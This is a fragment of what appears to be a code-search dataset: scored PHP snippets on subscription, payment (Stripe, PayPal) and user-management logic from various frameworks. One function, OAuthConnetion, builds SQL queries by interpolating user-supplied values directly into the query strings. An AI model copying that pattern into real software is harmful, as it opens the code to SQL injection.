}\n $this->sendResponse(200, CJSON::encode(array('status' => 'OK', 'message' => 'Thank you! Your FlexScore Pro account is now active.')));\n }\n } catch (Exception $e) {\n $message = $this->getStripeErrorMessage($e);\n\n $this->sendResponse(200, CJSON::encode(array('status' => 'ERROR', 'message' => $message)));\n }\n $this->sendResponse(200, CJSON::encode(array('status' => 'ERROR', 'email' => $email, 'firstname' => $firstname,\n 'lastname' => $lastname, 'message' => 'Sorry, your subscription has not been processed. Please try again later.')));\n }", "title": "" }, { "docid": "0499fe8ac49d525c94819b0cf2419572", "score": "0.49303383", "text": "function mumiemodule_add_teacher_subscriptions($userid, $context) {\n\tglobal $CFG;\n\t\n if (empty($context->contextlevel)) {\n return false;\n }\n\n switch ($context->contextlevel) {\n\n case CONTEXT_SYSTEM: // For the whole site \n if ($courses = get_records('course')) {\n foreach ($courses as $course) {\n $subcontext = get_context_instance(CONTEXT_COURSE, $course->id);\n mumiemodule_add_teacher_subscriptions($userid, $subcontext);\n }\n }\n break;\n\n case CONTEXT_COURSECAT: // For a whole category \n if ($courses = get_records('course', 'category', $context->instanceid)) {\n foreach ($courses as $course) {\n $subcontext = get_context_instance(CONTEXT_COURSE, $course->id);\n mumiemodule_add_teacher_subscriptions($userid, $subcontext);\n }\n }\n if ($categories = get_records('course_categories', 'parent', $context->instanceid)) {\n foreach ($categories as $category) {\n $subcontext = get_context_instance(CONTEXT_COURSECAT, $category->id);\n mumiemodule_add_teacher_subscriptions($userid, $subcontext);\n }\n }\n break;\n\n\n case CONTEXT_COURSE: // For a whole course\n if ($course = get_record('course', 'id', $context->instanceid)) {\n if ($mumiemodules = get_all_instances_in_course('mumiemodule', $course, $userid, false)) {\n $fields = 'id, username, password, firstname, lastname';\n\t\t //check if this lecturer is already in mumie as user\n\t\t $lecturertocheck = new object();\n\t\t $lecturertocheck->syncid = 'moodle-'.$CFG->prefix.'user-'.$userid;\n\t\t $lecturerexists = check_lecturer($lecturertocheck, $course->id);\n\t\t if(!$lecturerexists){\n\t\t \t$newuser = get_record('user', 'id', $userid, '', '', '', '', $fields);\n\t\t send_single_user_to_mumie($newuser);\n\t\t }\n foreach ($mumiemodules as $mumiemodule) {\n if ($modcontext = get_context_instance(CONTEXT_MODULE, $mumiemodule->coursemodule)) {\n\t\t $course_to_change = new object();\n\t\t $course_to_change->syncid = 'moodle-'.$CFG->prefix.'course-'.$course->id;\n\t\t $course_to_change->name = $course->fullname;\n\t\t $course_to_change->description = $course->summary;\n\t\t $course_to_change->semester = 'moodle-'.$CFG->prefix.'course_categories-'.$course->category;\n\t\t $course_to_change->lecturers = '';\n\t\t\t\t\t\t\t//$context = get_context_instance(CONTEXT_COURSE, $course->id);\n\t\t\t\t\t\t\t$roleid = get_field('role', 'id', 'shortname', 'editingteacher');\n\t\t\t\t\t\t\t$fields = 'u.id, u.username, u.password, u.firstname, u.lastname';\n\t\t\t\t\t\t\tif ($lecturers = get_role_users($roleid, $context, false, $fields)){ \n\t\t\t\t\t\t\t\tforeach($lecturers as $lecturer){\n\t\t\t\t\t\t\t\t\t//get mumie to know the lecturer:\n\t\t\t\t\t\t\t\t\t//send_single_user_to_mumie($lecturer); //MUMIE should already know them all\n\t\t\t\t\t\t\t\t\t$course_to_change->lecturers .= 'moodle-'.$CFG->prefix.'user-'.$lecturer->id.' ';\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t //$course_to_change->lecturers .= 'moodle-'.$CFG->prefix.'user-'.$userid; //or he is in the list twice\n\t\t change_class_for_mumie($course_to_change);\n }\n }\n }\n }\n break;\n\n\t\t//is this relevant?? can we really assign a role to just one mumiemodule?????\n case CONTEXT_MODULE: // Just one module //necessary for mumiemodule???\n if ($cm = get_coursemodule_from_id('mumiemodule', $context->instanceid)) {\n if ($mumiemodule = get_record('mumiemodule', 'id', $cm->instance)) {\n if (has_capability('mod/mumiemodule:tutorize', $modcontext, $userid)){\n \t$newuser = get_record('user', 'id', $userid);\n \tsend_single_user_to_mumie($newuser);\n }\n }\n }\n break;\n }\n \n\n return true;\n}", "title": "" }, { "docid": "2d3f193401f4aa6f19f53bd311283e83", "score": "0.4927272", "text": "function create_or_update_user( WP_REST_Request $request ) {\n $parameters = $request->get_params();\n\n $user = $request->get_param( 'user' );\n if(!empty($user)){\n $user = $user[0];\n }\n else{\n return false;\n }\n //Whitelist Data Coming In\n $userdata = array(\n 'user_login' => $user['username'],\n 'user_email' => $user['email']\n );\n\n if(!empty($user['password'])){\n $userdata['user_pass'] = $user['password'];\n }\n else{\n //$userdata['user_pass'] = 'MotoTestPassword';\n }\n\n\n if(!empty($user['name']))\n $userdata['display_name'] = $user['name'];\n if(!empty($user['first_name']))\n $userdata['first_name'] = $user['first_name'];\n if(!empty($user['last_name']))\n $userdata['last_name'] = $user['last_name'];\n\n \n\n $user_id = username_exists( $userdata['user_login'] );\n if ( !$user_id && email_exists($userdata['user_email']) == false ) {\n $user_id = wp_insert_user( $userdata );\n } else {\n $user_id = email_exists( $userdata['user_email'] );\n $userdata['ID'] = $user_id;\n wp_update_user( $userdata );\n }\n\n $terms = get_user_meta($user_id, 'bt_term_subscription');\n //if Term subscriptions exist already\n if(!empty($terms)){\n //Delete Existing Term subscriptions\n delete_user_meta( $user_id, 'bt_term_subscription');\n }\n //Add New Tag Subscriptions\n foreach(array_column($user['tags'],'id') as $tag){\n add_user_meta($user_id, 'bt_term_subscription', $tag);\n }\n //Add New Category Subscriptions\n foreach(array_column($user['categories'],'id') as $tag){\n add_user_meta($user_id, 'bt_term_subscription', $tag);\n }\n\n return $user_id;\n }", "title": "" }, { "docid": "961e6353a1d795ef248c21a8d8d3ca44", "score": "0.492662", "text": "public function subscription(Request $request, $client_id)\n {\n $subscription = New Subscription;\n $subscription->client_id = $client_id;\n $status = OrderStatus::where('name', 'new')->first();\n $subscription->status()->associate($status);\n $subscription->payed = 0;\n\n //Will Save later, when will get All prices for this subscription\n $subscription->save();\n\n //Find Service for Subscription\n $service = Service::find($request->service_id);\n\n //Save this Service to Current Subscription\n $subscriptionService = New SubscriptionService;\n $subscriptionService->subscription()->associate($subscription);\n $subscriptionService->service()->associate($service);\n if($service->serviceSubscription){\n $subscriptionService->subscribed = 1;\n }else{\n $subscriptionService->subscribed = 0;\n }\n $subscriptionService->price = $service->price;\n $subscriptionService->save();\n\n //IDS from post request that Agency had choose for Subscription\n $ids = $request->service_optional_ids;\n $ids = trim($ids, \",\");\n $ids_arr = explode(\",\", $ids);\n\n $first_price = $service->price;\n\n //Need to count Monthly Price\n $monthly_price = 0;\n if($service->serviceSubscription){\n $monthly_price += $service->price;\n }\n\n $serviceOptionalDescription = ServiceOptionalDescription::whereIn('id', $ids_arr)->get();\n foreach ($serviceOptionalDescription as $desc){\n\n //Creating New Subscription Service Optional\n $subscriptionServiceOptional = New SubscriptionServiceOptional;\n $subscriptionServiceOptional->subscriptionService()->associate($subscriptionService);\n $subscriptionServiceOptional->serviceOptionalDescription()->associate($desc);\n $subscriptionServiceOptional->price = $desc->price;\n\n //Count First Price and Monthly Prices\n $first_price += $desc->price;\n if($desc->serviceOptional->subscription == 1){\n $monthly_price += $desc->price;\n $subscriptionServiceOptional->subscribed = 1;\n }\n else{\n $subscriptionServiceOptional->subscribed = 0;\n }\n\n //Subscription Service Optional Save\n $subscriptionServiceOptional->save();\n }\n\n\n $subscription->first_price = $first_price;\n $subscription->monthly_price = $monthly_price;\n $subscription->save();\n\n\n // Create a new instance of Plan object\n $plan = new Plan();\n // # Basic Information\n // Fill up the basic information that is required for the plan\n $plan->setName($service->name)\n ->setDescription(mb_substr(strip_tags($service->short_description), 0, 50))\n ->setType('fixed');\n // # Payment definitions for this billing plan.\n $paymentDefinition = new PaymentDefinition();\n // The possible values for such setters are mentioned in the setter method documentation.\n // Just open the class file. e.g. lib/PayPal/Api/PaymentDefinition.php and look for setFrequency method.\n // You should be able to see the acceptable values in the comments.\n $paymentDefinition->setName('Regular Payments')\n ->setType('REGULAR')\n ->setFrequency('Month')\n ->setFrequencyInterval(\"1\")\n ->setCycles(\"12\")\n ->setAmount(new Currency(array('value' => $monthly_price, 'currency' => 'USD')));\n // Charge Models\n\n// $chargeModel = new ChargeModel();\n// $chargeModel->setType('SHIPPING')\n// ->setAmount(new Currency(array('value' => $monthly_price, 'currency' => 'USD')));\n// $paymentDefinition->setChargeModels(array($chargeModel));\n\n $merchantPreferences = new MerchantPreferences();\n\n\n // ReturnURL and CancelURL are not required and used when creating billing agreement with payment_method as \"credit_card\".\n // However, it is generally a good idea to set these values, in case you plan to create billing agreements which accepts \"paypal\" as payment_method.\n // This will keep your plan compatible with both the possible scenarios on how it is being used in agreement.\n $merchantPreferences->setReturnUrl(route('paypal.subscribe.done', $subscription->id))\n ->setCancelUrl(route('paypal.subscribe.cancel', $subscription->id))\n ->setAutoBillAmount(\"yes\")\n ->setInitialFailAmountAction(\"CONTINUE\")\n ->setMaxFailAttempts(\"0\")\n ->setSetupFee(new Currency(array('value' => $first_price, 'currency' => 'USD'))); //First Price\n $plan->setPaymentDefinitions(array($paymentDefinition));\n $plan->setMerchantPreferences($merchantPreferences);\n // For Sample Purposes Only.\n $request = clone $plan;\n // ### Create Plan\n try {\n $output = $plan->create($this->_apiContext);\n } catch (Exception $ex) {\n // NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY\n var_dump(\"Created Plan\", \"Plan\", null, $request, $ex);\n exit(1);\n }\n // NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY\n //ResultPrinter::printResult(\"Created Plan\", \"Plan\", $output->getId(), $request, $output);\n\n\n\n //return $output;\n echo('<pre style=\"color:#fff;\">');\n\n\n // # Update a plan\n //\n // This sample code demonstrate how you can update a billing plan, as documented here at:\n // https://developer.paypal.com/webapps/developer/docs/api/#update-a-plan\n // API used: /v1/payments/billing-plans/<Plan-Id>\n // ### Making Plan Active\n // This example demonstrate how you could activate the Plan.\n // Retrieving the Plan object from Create Plan Sample to demonstrate the List\n /** @var Plan $createdPlan */\n $createdPlan = $output;\n\n try {\n $patch = new Patch();\n $value = new PayPalModel('{\n\t \"state\":\"ACTIVE\"\n\t }');\n $patch->setOp('replace')\n ->setPath('/')\n ->setValue($value);\n $patchRequest = new PatchRequest();\n $patchRequest->addPatch($patch);\n $createdPlan->update($patchRequest, $this->_apiContext);\n $plan = Plan::get($createdPlan->getId(), $this->_apiContext);\n } catch (Exception $ex) {\n // NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY\n var_dump(\"Updated the Plan to Active State\", \"Plan\", null, $patchRequest, $ex);\n exit(1);\n }\n // NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY\n\n var_dump(\"Updated the Plan to Active State\", \"Plan\", $plan->getId(), $patchRequest, $plan);\n\n //return $plan;\n\n\n $createdPlan = $plan;\n\n /* Create a new instance of Agreement object\n {\n \"name\": \"Base Agreement\",\n \"description\": \"Basic agreement\",\n \"start_date\": \"2015-06-17T9:45:04Z\",\n \"plan\": {\n \"id\": \"P-1WJ68935LL406420PUTENA2I\"\n },\n \"payer\": {\n \"payment_method\": \"paypal\"\n },\n \"shipping_address\": {\n \"line1\": \"111 First Street\",\n \"city\": \"Saratoga\",\n \"state\": \"CA\",\n \"postal_code\": \"95070\",\n \"country_code\": \"US\"\n }\n }*/\n $description = 'Subscription for Service:'.$service->name.' First Payment: $'.$first_price.'. Monthly Payments: $'.$monthly_price;\n\n $next_month = date(DATE_ATOM, mktime(0, 0, 0, date('m')+1, date('d'), date('y')));\n\n $agreement = new Agreement();\n $agreement->setName('Subscription for Service:'.$service->name.'. Agency: '.Auth::user()->email)\n ->setDescription($description)\n ->setStartDate($next_month);\n // Add Plan ID\n // Please note that the plan Id should be only set in this case.\n $plan = new Plan();\n $plan->setId($createdPlan->getId());\n $agreement->setPlan($plan);\n // Add Payer\n $payer = new Payer();\n $payer->setPaymentMethod('paypal');\n $agreement->setPayer($payer);\n // Add Shipping Address\n $shippingAddress = new ShippingAddress();\n $shippingAddress->setLine1('111 First Street')\n ->setCity('Saratoga')\n ->setState('CA')\n ->setPostalCode('95070')\n ->setCountryCode('US');\n $agreement->setShippingAddress($shippingAddress);\n // For Sample Purposes Only.\n $request = clone $agreement;\n // ### Create Agreement\n try {\n // Please note that as the agreement has not yet activated, we wont be receiving the ID just yet.\n $agreement = $agreement->create($this->_apiContext);\n // ### Get redirect url\n // The API response provides the url that you must redirect\n // the buyer to. Retrieve the url from the $agreement->getApprovalLink()\n // method\n $approvalUrl = $agreement->getApprovalLink();\n return redirect()->to( $approvalUrl );\n } catch (Exception $ex) {\n // NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY\n var_dump(\"Created Billing Agreement.\", \"Agreement\", null, $request, $ex);\n exit(1);\n }\n // NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY\n var_dump(\"Created Billing Agreement. Please visit the URL to Approve.\", \"Agreement\", \"<a href='$approvalUrl' >$approvalUrl</a>\", $request, $agreement);\n //return $agreement;\n\n\n // # Get Billing Agreement Sample\n //\n // This sample code demonstrate how you can get a billing agreement, as documented here at:\n // https://developer.paypal.com/webapps/developer/docs/api/#retrieve-an-agreement\n // API used: /v1/payments/billing-agreements/<Agreement-Id>\n // Retrieving the Agreement object from Create Agreement From Credit Card Sample\n /** @var Agreement $createdAgreement */\n $createdAgreement = $agreement;\n\n try {\n $agreement = Agreement::get($createdAgreement->getId(), $this->_apiContext);\n } catch (Exception $ex) {\n // NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY\n var_dump(\"Retrieved an Agreement\", \"Agreement\", $agreement->getId(), $createdAgreement->getId(), $ex);\n exit(1);\n }\n // NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY\n var_dump(\"Retrieved an Agreement\", \"Agreement\", $agreement->getId(), $createdAgreement->getId(), $agreement);\n //return $agreement;\n\n\n //return redirect()->to( $redirectUrl );\n\n\n\n // # Get Billing Agreement Sample\n //\n // This sample code demonstrate how you can get a billing agreement, as documented here at:\n // https://developer.paypal.com/webapps/developer/docs/api/#retrieve-an-agreement\n // API used: /v1/payments/billing-agreements/<Agreement-Id>\n // Retrieving the Agreement object from Create Agreement From Credit Card Sample\n /** @var Agreement $createdAgreement */\n $createdAgreement = $agreement;\n\n try {\n $agreement = Agreement::get($createdAgreement->getId(), $this->_apiContext);\n } catch (Exception $ex) {\n // NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY\n var_dump(\"Retrieved an Agreement\", \"Agreement\", $agreement->getId(), $createdAgreement->getId(), $ex);\n exit(1);\n }\n // NOTE: PLEASE DO NOT USE RESULTPRINTER CLASS IN YOUR ORIGINAL CODE. FOR SAMPLE ONLY\n var_dump(\"Retrieved an Agreement\", \"Agreement\", $agreement->getId(), $createdAgreement->getId(), $agreement);\n //return $agreement;\n }", "title": "" }, { "docid": "89f53ccd640ee111117c2f9229706ac4", "score": "0.4924394", "text": "public function associateWithUser($user);", "title": "" }, { "docid": "f622cd131b14b2c683e0d4c1b19bafb2", "score": "0.4920258", "text": "public function index()\n {\n // $user = auth('api')->user();\n $user = auth()->user();\n\n // for now, we only support single subscription, so let's get the latest one\n $subscription = $user->subscriptions->first();\n\n $data = $user->toArray();\n\n $subscription_status = false;\n\n $data['subscribed'] = false;\n\n if (!empty($subscription)) {\n $subscription_status = $subscription->valid();\n\n $data['subscription_on_grace_period'] = $subscription->cancelled() && $subscription->onGracePeriod();\n $data['subscription_ends_at'] = Carbon::parse($subscription->ends_at)->toDayDateTimeString();\n $data['subscription_expired'] = !$subscription_status && $subscription->cancelled();\n $data['subscribed'] = $user->subscribed($subscription->stripe_plan);\n }\n\n $data['on_trial'] = $subscription_status ? $subscription->onTrial() : false;\n\n $data['subscriptions'] = $subscription_status ? array_wrap($subscription) : [];\n\n $data['perms'] = $this->getPerms($user);\n\n \n\n // check for current subscription:\n return ['form' => $data];\n }", "title": "" }, { "docid": "da9e7f19318ac153272a91973507be91", "score": "0.49111181", "text": "function testSubscribe() {\n $this->Subscriptions->data = array('Subscription' => array('name' => 'New Subscription', 'email' => '[email protected]'));\n \n $this->Subscriptions->beforeFilter();\n $this->Subscriptions->Component->startup($this->Subscriptions);\n $this->Subscriptions->subscribe();\n \n $result = $this->Subscriptions->Subscription->read(null, $this->Subscriptions->Subscription->id);\n $this->assertNotNull($result);\n $this->assertEqual($result['Subscription']['name'], 'New Subscription');\n $this->assertEqual($result['Subscription']['email'], '[email protected]');\n $this->assertNotNull($result['Subscription']['confirmation_code']);\n $this->assertTrue($this->Subscriptions->Session->check('Message.flash.message'));\n \n #assert email sent\n $this->assertEqual(1, $this->Subscriptions->sentEmail);\n \n #test if the user is added to the site group\n $site_group = Configure::read('Newsletter.siteGroup');\n if(!$site_group) {$site_group = 1;}\n \n $this->assertNotNull($result['Group']);\n $this->assertEqual($site_group, $result['Group'][0]['id']);\n \n #test for existing subscription currently in opt_out\n $this->Subscriptions->data = array('Subscription' => array('name' => 'New Name', 'email' => '[email protected]'));\n \n $this->Subscriptions->beforeFilter();\n $this->Subscriptions->Component->startup($this->Subscriptions);\n $this->Subscriptions->subscribe();\n \n $result = $this->Subscriptions->Subscription->read(null, 5);\n $this->assertNotNull($result);\n $this->assertEqual($result['Subscription']['name'], 'New Name');\n $this->assertEqual($result['Subscription']['email'], '[email protected]');\n $this->assertNotNull($result['Subscription']['confirmation_code']);\n $this->assertTrue($this->Subscriptions->Session->check('Message.flash.message'));\n \n #assert email sent\n $this->assertEqual(2, $this->Subscriptions->sentEmail);\n \n #test for existing subscription currently waiting confirmation\n $this->Subscriptions->data = array('Subscription' => array('name' => 'New Name', 'email' => '[email protected]'));\n \n $this->Subscriptions->beforeFilter();\n $this->Subscriptions->Component->startup($this->Subscriptions);\n $this->Subscriptions->subscribe();\n \n $result = $this->Subscriptions->Subscription->read(null, 2);\n $this->assertNotNull($result);\n $this->assertEqual($result['Subscription']['name'], 'New Name');\n $this->assertEqual($result['Subscription']['email'], '[email protected]');\n $this->assertNotNull($result['Subscription']['confirmation_code']);\n $this->assertTrue($this->Subscriptions->Session->check('Message.flash.message'));\n \n #assert email sent\n $this->assertEqual(3, $this->Subscriptions->sentEmail);\n \n #test for existing subscription currently in opt_in\n $this->Subscriptions->data = array('Subscription' => array('name' => 'Any Name', 'email' => '[email protected]'));\n \n $this->Subscriptions->beforeFilter();\n $this->Subscriptions->Component->startup($this->Subscriptions);\n $this->Subscriptions->subscribe();\n \n $result = $this->Subscriptions->Subscription->read(null, 1);\n $this->assertNotNull($result);\n $this->assertEqual($result['Subscription']['name'], 'Subscribed');\n $this->assertEqual($result['Subscription']['email'], '[email protected]');\n $this->assertNull($result['Subscription']['confirmation_code']);\n $this->assertTrue($this->Subscriptions->Session->check('Message.flash.message'));\n }", "title": "" }, { "docid": "872f052b15d1cc2964ad202af3ef67d8", "score": "0.49020767", "text": "function bbp_admin_upgrade_user_topic_subscriptions()\n{\n}", "title": "" }, { "docid": "26557ef73af5b3a7ab46172d2ab0d79e", "score": "0.4901426", "text": "function hook_rbkc_api_user_post_create($user, $queue_item) {\n\t\n}", "title": "" }, { "docid": "b5e6903e1f21f03c082c97fd7ca576b1", "score": "0.48992932", "text": "function subscriptionsListMySubscriptions($youtube, $part, $mine) {\n $response = $youtube->subscriptions->listSubscriptions(\n $part,\n array(\n 'mine' => $mine\n )\n );\n\n printResults($response);\n}", "title": "" }, { "docid": "e684f28f9a7133015c137729114702f6", "score": "0.48976347", "text": "public function testSubscriptionList(): void\n {\n $body = '{\"var1\":\"val1\"}';\n $client = $this->getSdkWithMocked200Response($body)->createEcomClient();\n $result = $client->getSubscriptions(['user_id' => 123]);\n $this->assertEquals(\n (string)$this->getResponseObjectFromResult($result)->getBody(),\n $body\n );\n }", "title": "" }, { "docid": "3f3825bedffc886ac2d66da342caf5cc", "score": "0.48896238", "text": "function OAuthConnetion($userId, $user)\n\t{\n\t\t$sql = \"SELECT id, username, account_type FROM accounts WHERE id = '$userId' LIMIT 1\";\n\t\t$rs = parent::executeQuery($sql, false);\n\t\n\t\tif(!empty($rs))\n\t\t{\n\t\t\t//USER IS THERE.\n\t\t\t$_SESSION['ADMIN_USER']=NULL;\n\t\t\treturn $rs;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//ADD NEW USER.\t\t\n\t\t\t$sql = \"INSERT INTO accounts (id,username,reg_date,account_type) VALUES ('$userId', '$user', NOW(), '3')\";\n\t\t\tif($this->executeNoneQuery($sql))\n\t\t\t{\n\t\t\t\t$rs['id'] \t\t\t= $userId;\n\t\t\t\t$rs['username'] \t= $user;\n\t\t\t\t$rs['account_type'] = 3;\n\t\t\t\treturn $rs;\n\t\t\t}\n\t\t}\n\t\treturn NULL;\n\t}", "title": "" }, { "docid": "fccd140726c64c10e2aa6e41c9ba125a", "score": "0.48889905", "text": "public function setUser($user);", "title": "" }, { "docid": "91398205480b31a5a29ee11c2b7aeb4c", "score": "0.48859733", "text": "public function createAttendee(UserInterface $user = NULL, Request $request);", "title": "" }, { "docid": "308a3f6366e3e11a035e0282cfcd28c2", "score": "0.48858854", "text": "public function addSubscriber(\\Mittwald\\Typo3Forum\\Domain\\Model\\User\\FrontendUser $user) {\n\t\t$this->subscribers->attach($user);\n\t}", "title": "" }, { "docid": "3ebf208fd330d4724b4489f9a396693a", "score": "0.4885107", "text": "function updateClientSubscription($subscription_status, $change_datetime, $client_id, $orderid, $planid, $dataHelper) {\n if (!is_object($dataHelper))\n {\n throw new Exception(\"client_db_function.inc.php : revokeClientSubscription : DataHelper Object did not instantiate\", 104);\n } \n try\n {\n $dataHelper->setParam(\"'\" . $subscription_status . \"'\", \"I\");\n $dataHelper->setParam(\"'\" . $change_datetime . \"'\", \"I\");\n $dataHelper->setParam(\"'\" . $client_id . \"'\", \"I\");\n $dataHelper->setParam(\"'\" . $orderid . \"'\", \"I\");\n $dataHelper->setParam(\"'\" . $planid . \"'\", \"I\");\n $dataHelper->setParam(\"STATUS\", \"O\");\n $arrUpdResult = $dataHelper->putRecords(\"SP\", 'UpdateClientSubscription');\n $dataHelper->clearParams();\n return $arrUpdResult;\n }\n catch (Exception $e)\n {\n throw new Exception(\"client_db_function.inc.php : revokeClientSubscription : Failed : \" . $e->getMessage(), 145);\n }\n}", "title": "" }, { "docid": "6c41ecd94a25fc4c383b859e2a6fe9c2", "score": "0.48830715", "text": "public function setSubscriptions($options, array $query = [])\n {\n $ep = \"me\";\n if(isset($options['app_id'])) {\n $ep = $options['app_id'];\n unset($options['app_id']);\n }\n $response = $this->client->send('POST','/'.$ep.'/subscriptions', $options, $query);\n $decoded = $this->decodeResponse($response);\n \n return $decoded['success'];\n }", "title": "" }, { "docid": "0ff2acb5129746fb0d4d5e2d80b04ffe", "score": "0.4873247", "text": "function bbp_form_topic_subscribed()\n{\n}", "title": "" }, { "docid": "356bdf3e3c194ce8b8e2e37926a95d3c", "score": "0.48729458", "text": "function actionGetSubscription() {\n if (!isset(Yii::app()->getSession()->get('wsadvisor')->id)) {\n $this->sendResponse(200, CJSON::encode(array(\"status\" => \"ERROR\", \"message\" => \"Session Expired\")));\n }\n $advisorId = Yii::app()->getSession()->get('wsadvisor')->id;\n\n $advisorSubscriptionObj = AdvisorSubscription::model()->find(array('condition' => \"advisor_id=:advisor_id\", 'params' => array(\"advisor_id\" => $advisorId)));\n\n $hasSubscription = false;\n if ($advisorSubscriptionObj && $advisorSubscriptionObj->stripesubscriptionid != NULL) {\n $hasSubscription = true;\n $subscription['name'] = $advisorSubscriptionObj->planname;\n $subscription['created'] = date(\"D M d Y H:i:s\", strtotime($advisorSubscriptionObj->subscriptionstart)) . \" UTC\";\n $subscription['status'] = $advisorSubscriptionObj->stripestatus;\n $subscription['start'] = date(\"D M d Y H:i:s\", strtotime($advisorSubscriptionObj->currentperiodstart)) . \" UTC\";\n $subscription['end'] = date(\"D M d Y H:i:s\", strtotime($advisorSubscriptionObj->currentperiodend)) . \" UTC\";\n } else {\n $this->sendResponse(200, CJSON::encode(array('status' => 'ERROR', 'message' => 'There are no subscriptions.')));\n }\n $this->sendResponse(200, CJSON::encode(array('status' => 'OK', 'hasSubscription' => $hasSubscription, 'subscription' => $subscription)));\n }", "title": "" }, { "docid": "cfcb5b57a754501e9e7b9d82e538e567", "score": "0.4854822", "text": "protected function setSubscriptionValues(&$opts)\n\t{\n\t\t$w = $this->getWorker();\n\t\t$config = JFactory::getConfig();\n\t\t$data = $this->getEmailData();\n\t\t\n\t\t$gateWay = $this->getGateway();\n\t\t\n\t\t$item= $data['jos_fabrik_subs_users___billing_cycle'][0] . ' ' . $data['jos_fabrik_subs_users___gateway'][0];\n\t\t$item_raw = $data['jos_fabrik_subs_users___billing_cycle_raw'][0];\n\t\t\n\t\t$db = JFactory::getDbo();\n\t\t$query = $db->getQuery(true);\n\t\t$query->select('cost, label, plan_name, duration AS p3, period_unit AS t3, ' . $db->quote($item_raw) . ' AS item_number ')\n\t\t->from('#__fabrik_subs_plan_billing_cycle')\n\t\t->where('id = ' . $db->quote($item_raw));\n\n\t\t$db->setQuery($query);\n\t\t$sub = $db->loadObject();\n\t\t\n\t\t// @TODO test replace various placeholders\n\t\t$name = $config->get('sitename') . ' {plan_name} User: {jos_fabrik_subs_users___name} ({jos_fabrik_subs_users___username})';\n\t\t$tmp = array_merge(JRequest::get('data'), JArrayHelper::fromObject($sub));\n\t\t$opts['item_name'] = $w->parseMessageForPlaceHolder($name, $tmp);//'http://fabrikar.com/ '.$sub->item_name. ' - User: subtest26012010 (subtest26012010)';\n\t\t$opts['invoice'] = uniqid('', true);\n\t\t\n\t\tif ($gateWay->subscription == 1)\n\t\t{\n\t\t\tif (is_object($sub))\n\t\t\t{\n\t\t\t\t$opts['p3'] = $sub->p3;\n\t\t\t\t$opts['t3'] = $sub->t3;\n\t\t\t\t$opts['a3'] = $sub->cost;\n\t\t\t\t//$opts['src'] = 1;\n\t\t\t\t$opts['no_note'] = 1;\n\t\t\t\t$opts['custom'] = '';\n\t\t\t\t$opts['src'] = 1;\n\t\t\t\tunset($opts['amount']);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tJError::raiseError(500, 'Could not determine subscription period, please check your settings');\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "6a6ecef7ab0b8f2cc16b4e2c30df6760", "score": "0.48521376", "text": "public function update_subscription( $subscription_code, $plan_id );", "title": "" }, { "docid": "52f96ca10b31c107a1619e81ccb2ee1c", "score": "0.48485428", "text": "public function awardFreeTrialAll(){\n $users = User::get();\n // dd($users);\n $data = array ();\n foreach($users as $user){\n $data = array(\n \"user_id\" => $user->id,\n \"expiry_on\" => Date('Y-m-d h:i:s', strtotime('+10 days')),\n \"package_id\" => '0'\n );\n Subscription::insert($data); \n }\n }", "title": "" }, { "docid": "6a160983e2877d33c26f88a82134926c", "score": "0.48470598", "text": "protected function create_subscription($user, $subscription_id, $pro_account)\n {\n // Find an available bag.\n $bag = Bag::all()->where('user_subscription_id', \"=\", null)->first();\n $subscription = Subscription::all()->find($subscription_id);\n\n if ($bag != null) {\n\n $userSubscription = new UserSubscription();\n\n $userSubscription->pro_account = $pro_account;\n $userSubscription->subscription()->associate($subscription);\n $userSubscription->user()->associate($user);\n $userSubscription->save();\n\n $bag->userSubscription()->associate($userSubscription);\n $bag->save();\n }\n }", "title": "" }, { "docid": "4b4bbaaba31cd935c79029c2aa983858", "score": "0.48468354", "text": "public function autosubscribe($userId)\n {\n if (!is_numeric($userId)) {\n $user = get_user_by('login', $userId);\n\n if (!$user) {\n return false;\n }\n\n $userId = $user->ID;\n }\n\n $adTag = get_user_meta($userId, 'ad_displayname', true);\n $adTag = explode('-', $adTag);\n $adTag = strtolower(trim(end($adTag)));\n\n $sites = \\Intranet\\Helper\\Multisite::getSitesList();\n\n foreach ($sites as $key => $site) {\n if (!$site->autosubscribe_tags) {\n continue;\n }\n\n $siteTags = explode(',', $site->autosubscribe_tags);\n $siteTags = array_map(function ($item) {\n return strtolower(trim($item));\n }, $siteTags);\n\n if (!in_array($adTag, $siteTags)) {\n continue;\n }\n\n \\Intranet\\User\\Subscription::subscribe($userId, $site->blog_id);\n }\n }", "title": "" }, { "docid": "c79a5bad9a005782a9c5fdc7af15f89c", "score": "0.48383597", "text": "public function store(Request $request)\n {\n\n if (Auth::user()->subscribed('main')){\n Alert::Error('You Are Already Subscribed!','Error!');\n return redirect()->back();\n }\n else{\n try {\n Stripe::setApiKey(env('STRIPE_SECRET'));\n\n $user = User::find(Auth::id());\n $user->newSubscription('main','plan_GqeJoLNWooQhFm')->trialDays(90)->create($request->stripeToken);\n\n Alert::Success('Success!','You Have Subscribed!');\n event(new MemberSubscribedEvent(Auth::user()));\n return redirect()->back();\n } catch (\\Exception $ex) {\n Alert::Error('Oops!','The following error has occured:'.$ex->getMessage());\n return redirect()->back();\n }\n }\n }", "title": "" } ]
5e0600ce34d0fd839935f18f801d3ae6
Use the Cvterm relation Cvterm object
